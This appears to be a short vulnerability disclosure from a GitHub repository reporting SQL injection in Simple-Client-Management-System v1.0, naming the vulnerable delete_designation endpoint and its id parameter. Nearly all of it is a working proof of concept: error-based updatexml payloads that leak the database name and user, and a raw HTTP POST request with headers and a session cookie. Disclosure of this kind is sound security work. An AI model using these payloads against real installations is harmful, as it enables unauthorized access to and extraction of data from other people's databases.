debug601 Create SQLi-6.md History

1 contributor

27 lines (20 sloc) | 1.06 KB

Simple-Client-Management-System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

Vulnerability File: /cms/classes/Master.php?f=delete_designation

Vulnerability location: /cms/classes/Master.php?f=delete_designation, id

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /cms/classes/Master.php?f=delete_designation HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3m0l1n81dvmlo0a3h9oo72q1gp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
```

```
id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),0)--+ // Leak place ---> id
```